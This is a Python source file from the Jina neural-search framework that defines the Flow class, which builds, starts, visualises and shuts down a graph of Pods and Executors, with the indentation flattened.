from ..parsers import set_gateway_parser, set_pod_parser
from ..peapods import Pod
from ..peapods.pods.compound import CompoundPod
from ..peapods.pods.factory import PodFactory
__all__ = ['Flow']
class FlowType(type(ExitStack), type(JAMLCompatible)):
"""Type of Flow, metaclass of :class:`BaseFlow`"""
pass
_regex_port = r'(.*?):([0-9]{1,4}|[1-5][0-9]{4}|6[0-4][0-9]{3}|65[0-4][0-9]{2}|655[0-2][0-9]|6553[0-5])$'
if False:
from ..peapods import BasePod
from ..executors import BaseExecutor
from ..clients.base import BaseClient
class Flow(PostMixin, JAMLCompatible, ExitStack, metaclass=FlowType):
"""Flow is how Jina streamlines and distributes Executors. """
# overload_inject_start_flow
@overload
def __init__(
self,
asyncio: Optional[bool] = False,
continue_on_error: Optional[bool] = False,
description: Optional[str] = None,
env: Optional[dict] = None,
host: Optional[str] = '0.0.0.0',
inspect: Optional[str] = 'COLLECT',
log_config: Optional[str] = None,
name: Optional[str] = None,
port_expose: Optional[int] = None,
proxy: Optional[bool] = False,
quiet: Optional[bool] = False,
quiet_error: Optional[bool] = False,
request_size: Optional[int] = 100,
restful: Optional[bool] = False,
return_results: Optional[bool] = False,
show_progress: Optional[bool] = False,
uses: Optional[Union[str, Type['BaseExecutor'], dict]] = None,
workspace: Optional[str] = './',
**kwargs,
):
"""Create a Flow. Flow is how Jina streamlines and scales Executors
:param asyncio: If set, then the input and output of this Client work in an asynchronous manner.
:param continue_on_error: If set, a Request that causes error will be logged only without blocking the further requests.
:param description: The description of this object. It will be used in automatics docs UI.
:param env: The map of environment variables that are available inside runtime
:param host: The host address of the runtime, by default it is 0.0.0.0.
:param inspect: The strategy on those inspect pods in the flow.
If `REMOVE` is given then all inspect pods are removed when building the flow.
:param log_config: The YAML config of the logger used in this object.
:param name: The name of this object.
This will be used in the following places:
- how you refer to this object in Python/YAML/CLI
- visualization
- log message header
- automatics docs UI
- ...
When not given, then the default naming strategy will apply.
:param port_expose: The port of the host exposed to the public
:param proxy: If set, respect the http_proxy and https_proxy environment variables. otherwise, it will unset these proxy variables before start. gRPC seems to prefer no proxy
:param quiet: If set, then no log will be emitted from this object.
:param quiet_error: If set, then exception stack information will not be added to the log
:param request_size: The number of Documents in each Request.
:param restful: If set, use RESTful interface instead of gRPC as the main interface. This expects the corresponding Flow to be set with --restful as well.
:param return_results: This feature is only used for AsyncClient.
If set, the results of all Requests will be returned as a list. This is useful when one wants
process Responses in bulk instead of using callback.
:param show_progress: If set, client will show a progress bar on receiving every request.
:param uses: The YAML file represents a flow
:param workspace: The working directory for any IO operations in this object. If not set, then derive from its parent `workspace`.
.. # noqa: DAR202
.. # noqa: DAR101
.. # noqa: DAR003
"""
# overload_inject_end_flow
def __init__(
self,
args: Optional['argparse.Namespace'] = None,
**kwargs,
):
super().__init__()
self._version = '1' #: YAML version number, this will be later overridden if YAML config says the other way
self._pod_nodes = OrderedDict() # type: Dict[str, BasePod]
self._inspect_pods = {} # type: Dict[str, str]
self._build_level = FlowBuildLevel.EMPTY
self._last_changed_pod = [
'gateway'
] #: default first pod is gateway, will add when build()
self._update_args(args, **kwargs)
if isinstance(self.args, argparse.Namespace):
self.logger = JinaLogger(
self.__class__.__name__, **vars(self.args), **self._common_kwargs
)
else:
self.logger = JinaLogger(self.__class__.__name__, **self._common_kwargs)
def _update_args(self, args, **kwargs):
from ..parsers.flow import set_flow_parser
from ..helper import ArgNamespace
_flow_parser = set_flow_parser()
if args is None:
args = ArgNamespace.kwargs2namespace(kwargs, _flow_parser)
self.args = args
# common args should be the ones that can not be parsed by _flow_parser
known_keys = vars(args)
self._common_kwargs = {k: v for k, v in kwargs.items() if k not in known_keys}
self._kwargs = ArgNamespace.get_non_defaults_args(
args, _flow_parser
) #: for yaml dump
base_cls = self.__class__
base_cls_name = self.__class__.__name__
if self.args.asyncio and not isinstance(self, AsyncPostMixin):
self.__class__ = type(base_cls_name, (AsyncPostMixin, base_cls), {})
@staticmethod
def _parse_endpoints(op_flow, pod_name, endpoint, connect_to_last_pod=False) -> Set:
# parsing needs
if isinstance(endpoint, str):
endpoint = [endpoint]
elif not endpoint:
if op_flow._last_changed_pod and connect_to_last_pod:
endpoint = [op_flow.last_pod]
else:
endpoint = []
if isinstance(endpoint, (list, tuple)):
for idx, s in enumerate(endpoint):
if s == pod_name:
raise FlowTopologyError(
'the income/output of a pod can not be itself'
)
else:
raise ValueError(f'endpoint={endpoint} is not parsable')
# if an endpoint is being inspected, then replace it with inspected Pod
endpoint = set(op_flow._inspect_pods.get(ep, ep) for ep in endpoint)
return endpoint
@property
def last_pod(self):
"""Last pod
.. # noqa: DAR401
.. # noqa: DAR201
"""
return self._last_changed_pod[-1]
@last_pod.setter
def last_pod(self, name: str):
"""
Set a Pod as the last Pod in the Flow, useful when modifying the Flow.
.. # noqa: DAR401
:param name: the name of the existing Pod
"""
if name not in self._pod_nodes:
raise FlowMissingPodError(f'{name} can not be found in this Flow')
if self._last_changed_pod and name == self.last_pod:
pass
else:
self._last_changed_pod.append(name)
# graph is now changed so we need to
# reset the build level to the lowest
self._build_level = FlowBuildLevel.EMPTY
def _add_gateway(self, needs, **kwargs):
pod_name = 'gateway'
kwargs.update(
dict(
name=pod_name,
ctrl_with_ipc=True, # otherwise ctrl port would be conflicted
runtime_cls='RESTRuntime' if self.args.restful else 'GRPCRuntime',
pod_role=PodRoleType.GATEWAY,
)
)
kwargs.update(vars(self.args))
kwargs.update(self._common_kwargs)
args = ArgNamespace.kwargs2namespace(kwargs, set_gateway_parser())
self._pod_nodes[pod_name] = Pod(args, needs)
def needs(
self, needs: Union[Tuple[str], List[str]], name: str = 'joiner', *args, **kwargs
) -> 'Flow':
"""
Add a blocker to the Flow, wait until all peas defined in **needs** completed.
.. # noqa: DAR401
:param needs: list of service names to wait
:param name: the name of this joiner, by default is ``joiner``
:param args: additional positional arguments forwarded to the add function
:param kwargs: additional key value arguments forwarded to the add function
:return: the modified Flow
"""
if len(needs) <= 1:
raise FlowTopologyError(
'no need to wait for a single service, need len(needs) > 1'
)
return self.add(
name=name, needs=needs, pod_role=PodRoleType.JOIN, *args, **kwargs
)
def needs_all(self, name: str = 'joiner', *args, **kwargs) -> 'Flow':
"""
Collect all hanging Pods so far and add a blocker to the Flow; wait until all handing peas completed.
:param name: the name of this joiner (default is ``joiner``)
:param args: additional positional arguments which are forwarded to the add and needs function
:param kwargs: additional key value arguments which are forwarded to the add and needs function
:return: the modified Flow
"""
needs = _hanging_pods(self)
if len(needs) == 1:
return self.add(name=name, needs=needs, *args, **kwargs)
return self.needs(name=name, needs=needs, *args, **kwargs)
# overload_inject_start_pod
@overload
def add(
self,
ctrl_with_ipc: Optional[bool] = False,
daemon: Optional[bool] = False,
description: Optional[str] = None,
docker_kwargs: Optional[dict] = None,
entrypoint: Optional[str] = None,
env: Optional[dict] = None,
expose_public: Optional[bool] = False,
external: Optional[bool] = False,
host: Optional[str] = '0.0.0.0',
host_in: Optional[str] = '0.0.0.0',
host_out: Optional[str] = '0.0.0.0',
log_config: Optional[str] = None,
memory_hwm: Optional[int] = -1,
name: Optional[str] = None,
on_error_strategy: Optional[str] = 'IGNORE',
parallel: Optional[int] = 1,
peas_hosts: Optional[List[str]] = None,
polling: Optional[str] = 'ANY',
port_ctrl: Optional[int] = None,
port_expose: Optional[int] = None,
port_in: Optional[int] = None,
port_out: Optional[int] = None,
proxy: Optional[bool] = False,
pull_latest: Optional[bool] = False,
py_modules: Optional[List[str]] = None,
quiet: Optional[bool] = False,
quiet_error: Optional[bool] = False,
quiet_remote_logs: Optional[bool] = False,
replicas: Optional[int] = 1,
runtime_backend: Optional[str] = 'PROCESS',
runtime_cls: Optional[str] = 'ZEDRuntime',
scheduling: Optional[str] = 'LOAD_BALANCE',
socket_in: Optional[str] = 'PULL_BIND',
socket_out: Optional[str] = 'PUSH_BIND',
ssh_keyfile: Optional[str] = None,
ssh_password: Optional[str] = None,
ssh_server: Optional[str] = None,
timeout_ctrl: Optional[int] = 5000,
timeout_ready: Optional[int] = 600000,
upload_files: Optional[List[str]] = None,
uses: Optional[Union[str, Type['BaseExecutor'], dict]] = 'BaseExecutor',
uses_after: Optional[Union[str, Type['BaseExecutor'], dict]] = None,
uses_before: Optional[Union[str, Type['BaseExecutor'], dict]] = None,
uses_internal: Optional[
Union[str, Type['BaseExecutor'], dict]
] = 'BaseExecutor',
volumes: Optional[List[str]] = None,
workspace: Optional[str] = None,
workspace_id: Optional[str] = None,
**kwargs,
) -> 'Flow':
"""Add an Executor to the current Flow object.
:param ctrl_with_ipc: If set, use ipc protocol for control socket
:param daemon: The Pea attempts to terminate all of its Runtime child processes/threads on existing. setting it to true basically tell the Pea do not wait on the Runtime when closing
:param description: The description of this object. It will be used in automatics docs UI.
:param docker_kwargs: Dictionary of kwargs arguments that will be passed to Docker SDK when starting the docker '
container.
More details can be found in the Docker SDK docs: https://docker-py.readthedocs.io/en/stable/
:param entrypoint: The entrypoint command overrides the ENTRYPOINT in Docker image. when not set then the Docker image ENTRYPOINT takes effective.
:param env: The map of environment variables that are available inside runtime
:param expose_public: If set, expose the public IP address to remote when necessary, by default it exposesprivate IP address, which only allows accessing under the same network/subnet. Important to set this to true when the Pea will receive input connections from remote Peas
:param external: The Pod will be considered an external Pod that has been started independently from the Flow. This Pod will not be context managed by the Flow, and is considered with `--freeze-network-settings`
:param host: The host address of the runtime, by default it is 0.0.0.0.
:param host_in: The host address for input, by default it is 0.0.0.0
:param host_out: The host address for output, by default it is 0.0.0.0
:param log_config: The YAML config of the logger used in this object.
:param memory_hwm: The memory high watermark of this pod in Gigabytes, pod will restart when this is reached. -1 means no restriction
:param name: The name of this object.
This will be used in the following places:
- how you refer to this object in Python/YAML/CLI
- visualization
- log message header
- automatics docs UI
- ...
When not given, then the default naming strategy will apply.
:param on_error_strategy: The skip strategy on exceptions.
- IGNORE: Ignore it, keep running all Executors in the sequel flow
- SKIP_HANDLE: Skip all Executors in the sequel, only `pre_hook` and `post_hook` are called
- THROW_EARLY: Immediately throw the exception, the sequel flow will not be running at all
Note, `IGNORE`, `SKIP_EXECUTOR` and `SKIP_HANDLE` do not guarantee the success execution in the sequel flow. If something
is wrong in the upstream, it is hard to carry this exception and moving forward without any side-effect.
:param parallel: The number of parallel peas in the pod running at the same time, `port_in` and `port_out` will be set to random, and routers will be added automatically when necessary
:param peas_hosts: The hosts of the peas when parallel greater than 1.
Peas will be evenly distributed among the hosts. By default,
peas are running on host provided by the argument ``host``
:param polling: The polling strategy of the Pod (when `parallel>1`)
- ANY: only one (whoever is idle) Pea polls the message
- ALL: all Peas poll the message (like a broadcast)
:param port_ctrl: The port for controlling the runtime, default a random port between [49152, 65535]
:param port_expose: The port of the host exposed to the public
:param port_in: The port for input data, default a random port between [49152, 65535]
:param port_out: The port for output data, default a random port between [49152, 65535]
:param proxy: If set, respect the http_proxy and https_proxy environment variables. otherwise, it will unset these proxy variables before start. gRPC seems to prefer no proxy
:param pull_latest: Pull the latest image before running
:param py_modules: The customized python modules need to be imported before loading the executor
Note, when importing multiple files and there is a dependency between them, then one has to write the dependencies in
reverse order. That is, if `__init__.py` depends on `A.py`, which again depends on `B.py`, then you need to write:
--py-modules __init__.py --py-modules B.py --py-modules A.py
:param quiet: If set, then no log will be emitted from this object.
:param quiet_error: If set, then exception stack information will not be added to the log
:param quiet_remote_logs: Do not display the streaming of remote logs on local console
:param replicas: The number of replicas in the pod, `port_in` and `port_out` will be set to random, and routers will be added automatically when necessary
:param runtime_backend: The parallel backend of the runtime inside the Pea
:param runtime_cls: The runtime class to run inside the Pea
:param scheduling: The strategy of scheduling workload among Peas
:param socket_in: The socket type for input port
:param socket_out: The socket type for output port
:param ssh_keyfile: This specifies a key to be used in ssh login, default None. regular default ssh keys will be used without specifying this argument.
:param ssh_password: The ssh password to the ssh server.
:param ssh_server: The SSH server through which the tunnel will be created, can actually be a fully specified `user@server:port` ssh url.
:param timeout_ctrl: The timeout in milliseconds of the control request, -1 for waiting forever
:param timeout_ready: The timeout in milliseconds of a Pea waits for the runtime to be ready, -1 for waiting forever
:param upload_files: The files on the host to be uploaded to the remote
workspace. This can be useful when your Pod has more
file dependencies beyond a single YAML file, e.g.
Python files, data files.
Note,
- currently only flatten structure is supported, which means if you upload `[./foo/a.py, ./foo/b.pp, ./bar/c.yml]`, then they will be put under the _same_ workspace on the remote, losing all hierarchies.
- by default, `--uses` YAML file is always uploaded.
- uploaded files are by default isolated across the runs. To ensure files are submitted to the same workspace across different runs, use `--workspace-id` to specify the workspace.
:param uses: The config of the executor, it could be one of the followings:
* an Executor-level YAML file path (.yml, .yaml, .jaml)
* a docker image (must start with `docker://`)
* the string literal of a YAML config (must start with `!` or `jtype: `)
* the string literal of a JSON config
When use it under Python, one can use the following values additionally:
- a Python dict that represents the config
- a text file stream has `.read()` interface
:param uses_after: The executor attached after the Peas described by --uses, typically used for receiving from all parallels, accepted type follows `--uses`
:param uses_before: The executor attached after the Peas described by --uses, typically before sending to all parallels, accepted type follows `--uses`
:param uses_internal: The config runs inside the Docker container.
Syntax and function are the same as `--uses`. This is designed when `--uses="docker://..."` this config is passed to
the Docker container.
:param volumes: The path on the host to be mounted inside the container.
Note,
- If separated by `:`, then the first part will be considered as the local host path and the second part is the path in the container system.
- If no split provided, then the basename of that directory will be mounted into container's root path, e.g. `--volumes="/user/test/my-workspace"` will be mounted into `/my-workspace` inside the container.
- All volumes are mounted with read-write mode.
:param workspace: The working directory for any IO operations in this object. If not set, then derive from its parent `workspace`.
:param workspace_id: the UUID for identifying the workspace. When not given a random id will be assigned.Multiple Pea/Pod/Flow will work under the same workspace if they share the same `workspace-id`.
:return: a (new) Flow object with modification
.. # noqa: DAR202
.. # noqa: DAR101
.. # noqa: DAR003
"""
# overload_inject_end_pod
def add(
self,
needs: Optional[Union[str, Tuple[str], List[str]]] = None,
copy_flow: bool = True,
pod_role: 'PodRoleType' = PodRoleType.POD,
**kwargs,
) -> 'Flow':
"""
Add a Pod to the current Flow object and return the new modified Flow object.
The attribute of the Pod can be later changed with :py:meth:`set` or deleted with :py:meth:`remove`
.. # noqa: DAR401
:param needs: the name of the Pod(s) that this Pod receives data from.
One can also use 'gateway' to indicate the connection with the gateway.
:param pod_role: the role of the Pod, used for visualization and route planning
:param copy_flow: when set to true, then always copy the current Flow and do the modification on top of it then return, otherwise, do in-line modification
:param kwargs: other keyword-value arguments that the Pod CLI supports
:return: a (new) Flow object with modification
"""
op_flow = copy.deepcopy(self) if copy_flow else self
# pod naming logic
pod_name = kwargs.get('name', None)
if pod_name in op_flow._pod_nodes:
new_name = f'{pod_name}{len(op_flow._pod_nodes)}'
self.logger.debug(
f'"{pod_name}" is used in this Flow already! renamed it to "{new_name}"'
)
pod_name = new_name
if not pod_name:
pod_name = f'pod{len(op_flow._pod_nodes)}'
if not pod_name.isidentifier():
# hyphen - can not be used in the name
raise ValueError(
f'name: {pod_name} is invalid, please follow the python variable name conventions'
)
# needs logic
needs = op_flow._parse_endpoints(
op_flow, pod_name, needs, connect_to_last_pod=True
)
# set the kwargs inherit from `Flow(kwargs1=..., kwargs2=)`
for key, value in op_flow._common_kwargs.items():
if key not in kwargs:
kwargs[key] = value
# check if host is set to remote:port
if 'host' in kwargs:
m = re.match(_regex_port, kwargs['host'])
if (
kwargs.get('host', __default_host__) != __default_host__
and m
and 'port_expose' not in kwargs
):
kwargs['port_expose'] = m.group(2)
kwargs['host'] = m.group(1)
# update kwargs of this Pod
kwargs.update(dict(name=pod_name, pod_role=pod_role, num_part=len(needs)))
parser = set_pod_parser()
if pod_role == PodRoleType.GATEWAY:
parser = set_gateway_parser()
args = ArgNamespace.kwargs2namespace(kwargs, parser)
# pod workspace if not set then derive from flow workspace
args.workspace = os.path.abspath(args.workspace or self.workspace)
op_flow._pod_nodes[pod_name] = PodFactory.build_pod(args, needs)
op_flow.last_pod = pod_name
return op_flow
def inspect(self, name: str = 'inspect', *args, **kwargs) -> 'Flow':
"""Add an inspection on the last changed Pod in the Flow
Internally, it adds two Pods to the Flow. But don't worry, the overhead is minimized and you
can remove them by simply using `Flow(inspect=FlowInspectType.REMOVE)` before using the Flow.
.. highlight:: bash
.. code-block:: bash
Flow -- PUB-SUB -- BasePod(_pass) -- Flow
|
-- PUB-SUB -- InspectPod (Hanging)
In this way, :class:`InspectPod` looks like a simple ``_pass`` from outside and
does not introduce side-effects (e.g. changing the socket type) to the original Flow.
The original incoming and outgoing socket types are preserved.
This function is very handy for introducing an Evaluator into the Flow.
.. seealso::
:meth:`gather_inspect`
:param name: name of the Pod
:param args: args for .add()
:param kwargs: kwargs for .add()
:return: the new instance of the Flow
"""
_last_pod = self.last_pod
op_flow = self.add(
name=name, needs=_last_pod, pod_role=PodRoleType.INSPECT, *args, **kwargs
)
# now remove uses and add an auxiliary Pod
if 'uses' in kwargs:
kwargs.pop('uses')
op_flow = op_flow.add(
name=f'_aux_{name}',
needs=_last_pod,
pod_role=PodRoleType.INSPECT_AUX_PASS,
*args,
**kwargs,
)
# register any future connection to _last_pod by the auxiliary Pod
op_flow._inspect_pods[_last_pod] = op_flow.last_pod
return op_flow
def gather_inspect(
self,
name: str = 'gather_inspect',
include_last_pod: bool = True,
*args,
**kwargs,
) -> 'Flow':
"""Gather all inspect Pods output into one Pod. When the Flow has no inspect Pod then the Flow itself
is returned.
.. note::
If ``--no-inspect`` is **not** given, then :meth:`gather_inspect` is auto called before :meth:`build`. So
in general you don't need to manually call :meth:`gather_inspect`.
:param name: the name of the gather Pod
:param include_last_pod: if to include the last modified Pod in the Flow
:param args: args for .add()
:param kwargs: kwargs for .add()
:return: the modified Flow or the copy of it
.. seealso::
:meth:`inspect`
"""
needs = [k for k, v in self._pod_nodes.items() if v.role == PodRoleType.INSPECT]
if needs:
if include_last_pod:
needs.append(self.last_pod)
return self.add(
name=name,
needs=needs,
pod_role=PodRoleType.JOIN_INSPECT,
*args,
**kwargs,
)
else:
# no inspect node is in the graph, return the current graph
return self
def build(self, copy_flow: bool = False) -> 'Flow':
"""
Build the current Flow and make it ready to use
.. note::
No need to manually call it since 0.0.8. When using Flow with the
context manager, or using :meth:`start`, :meth:`build` will be invoked.
:param copy_flow: when set to true, then always copy the current Flow and do the modification on top of it then return, otherwise, do in-line modification
:return: the current Flow (by default)
.. note::
``copy_flow=True`` is recommended if you are building the same Flow multiple times in a row. e.g.
.. highlight:: python
.. code-block:: python
f = Flow()
with f:
f.index()
with f.build(copy_flow=True) as fl:
fl.search()
.. # noqa: DAR401
"""
op_flow = copy.deepcopy(self) if copy_flow else self
if op_flow.args.inspect == FlowInspectType.COLLECT:
op_flow.gather_inspect(copy_flow=False)
if 'gateway' not in op_flow._pod_nodes:
op_flow._add_gateway(needs={op_flow.last_pod})
# construct a map with a key a start node and values an array of its end nodes
_outgoing_map = defaultdict(list)
# if set no_inspect then all inspect related nodes are removed
if op_flow.args.inspect == FlowInspectType.REMOVE:
op_flow._pod_nodes = {
k: v for k, v in op_flow._pod_nodes.items() if not v.role.is_inspect
}
reverse_inspect_map = {v: k for k, v in op_flow._inspect_pods.items()}
for end, pod in op_flow._pod_nodes.items():
# if an endpoint is being inspected, then replace it with inspected Pod
# but not those inspect related node
if op_flow.args.inspect.is_keep:
pod.needs = set(
ep if pod.role.is_inspect else op_flow._inspect_pods.get(ep, ep)
for ep in pod.needs
)
else:
pod.needs = set(reverse_inspect_map.get(ep, ep) for ep in pod.needs)
for start in pod.needs:
if start not in op_flow._pod_nodes:
raise FlowMissingPodError(
f'{start} is not in this flow, misspelled name?'
)
_outgoing_map[start].append(end)
op_flow = _build_flow(op_flow, _outgoing_map)
hanging_pods = _hanging_pods(op_flow)
if hanging_pods:
op_flow.logger.warning(
f'{hanging_pods} are hanging in this flow with no pod receiving from them, '
f'you may want to double check if it is intentional or some mistake'
)
op_flow._build_level = FlowBuildLevel.GRAPH
return op_flow
def __call__(self, *args, **kwargs):
"""Builds the Flow
:param args: args for build
:param kwargs: kwargs for build
:return: the built Flow
"""
return self.build(*args, **kwargs)
def __enter__(self):
class CatchAllCleanupContextManager:
"""
This context manager guarantees, that the :method:``__exit__`` of the
sub context is called, even when there is an Exception in the
:method:``__enter__``.
:param sub_context: The context, that should be taken care of.
"""
def __init__(self, sub_context):
self.sub_context = sub_context
def __enter__(self):
pass
def __exit__(self, exc_type, exc_val, exc_tb):
if exc_type is not None:
self.sub_context.__exit__(exc_type, exc_val, exc_tb)
with CatchAllCleanupContextManager(self):
return self.start()
def __exit__(self, exc_type, exc_val, exc_tb):
super().__exit__(exc_type, exc_val, exc_tb)
# unset all envs to avoid any side-effect
if self.args.env:
for k in self.args.env.keys():
os.unsetenv(k)
if 'gateway' in self._pod_nodes:
self._pod_nodes.pop('gateway')
self._build_level = FlowBuildLevel.EMPTY
self.logger.success(
f'flow is closed and all resources are released, current build level is {self._build_level}'
)
self.logger.close()
def start(self):
"""Start to run all Pods in this Flow.
Remember to close the Flow with :meth:`close`.
Note that this method has a timeout of ``timeout_ready`` set in CLI,
which is inherited all the way from :class:`jina.peapods.peas.BasePea`
.. # noqa: DAR401
:return: this instance
"""
if self._build_level.value < FlowBuildLevel.GRAPH.value:
self.build(copy_flow=False)
# set env only before the Pod get started
if self.args.env:
for k, v in self.args.env.items():
os.environ[k] = str(v)
for k, v in self:
v.args.noblock_on_start = True
if not getattr(v.args, 'external', False):
self.enter_context(v)
for k, v in self:
try:
if not getattr(v.args, 'external', False):
v.wait_start_success()
except Exception as ex:
self.logger.error(
f'{k}:{v!r} can not be started due to {ex!r}, Flow is aborted'
)
self.close()
raise
self.logger.info(
f'{self.num_pods} Pods (i.e. {self.num_peas} Peas) are running in this Flow'
)
self._build_level = FlowBuildLevel.RUNNING
self._show_success_message()
return self
@property
def num_pods(self) -> int:
"""Get the number of Pods in this Flow
.. # noqa: DAR201"""
return len(self._pod_nodes)
@property
def num_peas(self) -> int:
"""Get the number of peas (parallel count) in this Flow
.. # noqa: DAR201"""
return sum(v.num_peas for v in self._pod_nodes.values())
def __eq__(self, other: 'Flow') -> bool:
"""
Compare the topology of a Flow with another Flow.
Identification is defined by whether two flows share the same set of edges.
:param other: the second Flow object
:return: result of equality check
"""
if self._build_level.value < FlowBuildLevel.GRAPH.value:
a = self.build()
else:
a = self
if other._build_level.value < FlowBuildLevel.GRAPH.value:
b = other.build()
else:
b = other
return a._pod_nodes == b._pod_nodes
@property
@build_required(FlowBuildLevel.GRAPH)
def client(self) -> 'BaseClient':
"""Return a :class:`BaseClient` object attach to this Flow.
.. # noqa: DAR201"""
self.args.port_expose = self.port_expose
self.args.host = self.host
self.args.show_progress = True
return Client(self.args)
@property
def _mermaid_str(self):
mermaid_graph = [
"%%{init: {'theme': 'base', "
"'themeVariables': { 'primaryColor': '#32C8CD', "
"'edgeLabelBackground':'#fff', 'clusterBkg': '#FFCC66'}}}%%",
'graph LR',
]
start_repl = {}
end_repl = {}
for node, v in self._pod_nodes.items():
if not v.is_singleton and v.role != PodRoleType.GATEWAY:
if v.args.replicas == 1:
mermaid_graph.append(
f'subgraph sub_{node} ["{node} ({v.args.parallel})"]'
)
else:
mermaid_graph.append(
f'subgraph sub_{node} ["{node} ({v.args.replicas})({v.args.parallel})"]'
)
if v.is_head_router:
head_router = node + '_HEAD'
end_repl[node] = (head_router, '((fa:fa-random))')
if v.is_tail_router:
tail_router = node + '_TAIL'
start_repl[node] = (tail_router, '((fa:fa-random))')
for i in range(v.args.replicas):
if v.is_head_router:
head_replica_router = node + f'_{i}_HEAD'
if v.args.replicas == 1:
end_repl[node] = (head_replica_router, '((fa:fa-random))')
if v.is_tail_router:
tail_replica_router = node + f'_{i}_TAIL'
if v.args.replicas == 1:
start_repl[node] = (tail_replica_router, '((fa:fa-random))')
p_r = '((%s))'
p_e = '[[%s]]'
if v.args.replicas > 1:
mermaid_graph.append(
f'\t{head_router}{p_r % 'head'}:::pea-->{head_replica_router}{p_e % 'replica_head'}:::pea'
)
mermaid_graph.append(
f'\t{tail_replica_router}{p_r % 'replica_tail'}:::pea-->{tail_router}{p_e % 'tail'}:::pea'
)
for j in range(v.args.parallel):
r = node
if v.args.replicas > 1:
r += f'_{i}_{j}'
elif v.args.parallel > 1:
r += f'_{j}'
if v.is_head_router:
mermaid_graph.append(
f'\t{head_replica_router}{p_r % 'head'}:::pea-->{r}{p_e % r}:::pea'
)
if v.is_tail_router:
mermaid_graph.append(
f'\t{r}{p_e % r}:::pea-->{tail_replica_router}{p_r % 'tail'}:::pea'
)
mermaid_graph.append('end')
for node, v in self._pod_nodes.items():
ed_str = str(v.head_args.socket_in).split('_')[0]
for need in sorted(v.needs):
edge_str = ''
if need in self._pod_nodes:
st_str = str(self._pod_nodes[need].tail_args.socket_out).split('_')[
0
]
edge_str = f'|{st_str}-{ed_str}|'
_s = start_repl.get(need, (need, f'({need})'))
_e = end_repl.get(node, (node, f'({node})'))
_s_role = self._pod_nodes[need].role
_e_role = self._pod_nodes[node].role
line_st = '-->'
if _s_role in {PodRoleType.INSPECT, PodRoleType.JOIN_INSPECT}:
_s = start_repl.get(need, (need, f'{{{{{need}}}}}'))
if _e_role == PodRoleType.GATEWAY:
_e = ('gateway_END', f'({node})')
elif _e_role in {PodRoleType.INSPECT, PodRoleType.JOIN_INSPECT}:
_e = end_repl.get(node, (node, f'{{{{{node}}}}}'))
if _s_role == PodRoleType.INSPECT or _e_role == PodRoleType.INSPECT:
line_st = '-.->'
mermaid_graph.append(
f'{_s[0]}{_s[1]}:::{str(_s_role)} {line_st} {edge_str}{_e[0]}{_e[1]}:::{str(_e_role)}'
)
mermaid_graph.append(
f'classDef {str(PodRoleType.POD)} fill:#32C8CD,stroke:#009999'
)
mermaid_graph.append(
f'classDef {str(PodRoleType.INSPECT)} fill:#ff6666,color:#fff'
)
mermaid_graph.append(
f'classDef {str(PodRoleType.JOIN_INSPECT)} fill:#ff6666,color:#fff'
)
mermaid_graph.append(
f'classDef {str(PodRoleType.GATEWAY)} fill:#6E7278,color:#fff'
)
mermaid_graph.append(
f'classDef {str(PodRoleType.INSPECT_AUX_PASS)} fill:#fff,color:#000,stroke-dasharray: 5 5'
)
mermaid_graph.append('classDef pea fill:#009999,stroke:#1E6E73')
return '\n'.join(mermaid_graph)
def plot(
self,
output: Optional[str] = None,
vertical_layout: bool = False,
inline_display: bool = False,
build: bool = True,
copy_flow: bool = False,
) -> 'Flow':
"""
Visualize the Flow up to the current point
If a file name is provided it will create a jpg image with that name,
otherwise it will display the URL for mermaid.
If called within IPython notebook, it will be rendered inline,
otherwise an image will be created.
Example,
.. highlight:: python
.. code-block:: python
flow = Flow().add(name='pod_a').plot('flow.svg')
:param output: a filename specifying the name of the image to be created,
the suffix svg/jpg determines the file type of the output image
:param vertical_layout: top-down or left-right layout
:param inline_display: show image directly inside the Jupyter Notebook
:param build: build the Flow first before plotting, gateway connection can be better showed
:param copy_flow: when set to true, then always copy the current Flow and
do the modification on top of it then return, otherwise, do in-line modification
:return: the Flow
"""
# deepcopy causes the below error while reusing a Flow in Jupyter
# 'Pickling an AuthenticationString object is disallowed for security reasons'
op_flow = copy.deepcopy(self) if copy_flow else self
if build:
op_flow.build(False)
mermaid_str = op_flow._mermaid_str
if vertical_layout:
mermaid_str = mermaid_str.replace('graph LR', 'graph TD')
image_type = 'svg'
if output and output.endswith('jpg'):
image_type = 'jpg'
url = op_flow._mermaid_to_url(mermaid_str, image_type)
showed = False
if inline_display:
try:
from IPython.display import display, Image
display(Image(url=url))
showed = True
except:
# no need to panic users
pass
if output:
download_mermaid_url(url, output)
elif not showed:
op_flow.logger.info(f'flow visualization: {url}')
return self
def _ipython_display_(self):
"""Displays the object in IPython as a side effect"""
self.plot(
inline_display=True, build=(self._build_level != FlowBuildLevel.GRAPH)
)
def _mermaid_to_url(self, mermaid_str: str, img_type: str) -> str:
"""
Render the current Flow as URL points to a SVG. It needs internet connection
:param mermaid_str: the mermaid representation
:param img_type: image type (svg/jpg)
:return: the url points to a SVG
"""
if img_type == 'jpg':
img_type = 'img'
encoded_str = base64.b64encode(bytes(mermaid_str, 'utf-8')).decode('utf-8')
return f'https://mermaid.ink/{img_type}/{encoded_str}'
@property
@build_required(FlowBuildLevel.GRAPH)
def port_expose(self) -> int:
"""Return the exposed port of the gateway
.. # noqa: DAR201"""
return self._pod_nodes['gateway'].port_expose
@property
@build_required(FlowBuildLevel.GRAPH)
def host(self) -> str:
"""Return the local address of the gateway
.. # noqa: DAR201"""
return self._pod_nodes['gateway'].host
@property
@build_required(FlowBuildLevel.GRAPH)
def address_private(self) -> str:
"""Return the private IP address of the gateway for connecting from other machine in the same network
.. # noqa: DAR201"""
return get_internal_ip()
@property
@build_required(FlowBuildLevel.GRAPH)
def address_public(self) -> str:
"""Return the public IP address of the gateway for connecting from other machine in the public network
.. # noqa: DAR201"""
return get_public_ip()
def __iter__(self):
return self._pod_nodes.items().__iter__()
def _show_success_message(self):
if self._pod_nodes['gateway'].args.restful:
header = 'http://'
protocol = 'REST'
else:
header = 'tcp://'
protocol = 'gRPC'
address_table = [
f'\t🖥️ Local access:\t'
+ colored(
f'{header}{self.host}:{self.port_expose}', 'cyan', attrs='underline'
),
f'\t🔒 Private network:\t'
+ colored(
f'{header}{self.address_private}:{self.port_expose}',
'cyan',
attrs='underline',
),
]
if self.address_public:
address_table.append(
f'\t🌐 Public address:\t'
+ colored(
f'{header}{self.address_public}:{self.port_expose}',
'cyan',
attrs='underline',
)
)
self.logger.success(
f'🎉 Flow is ready to use, accepting {colored(protocol + ' request', attrs='bold')}'
)
self.logger.info('\n' + '\n'.join(address_table))
def block(self):
"""Block the process until user hits KeyboardInterrupt"""
try:
threading.Event().wait()
except KeyboardInterrupt:
pass
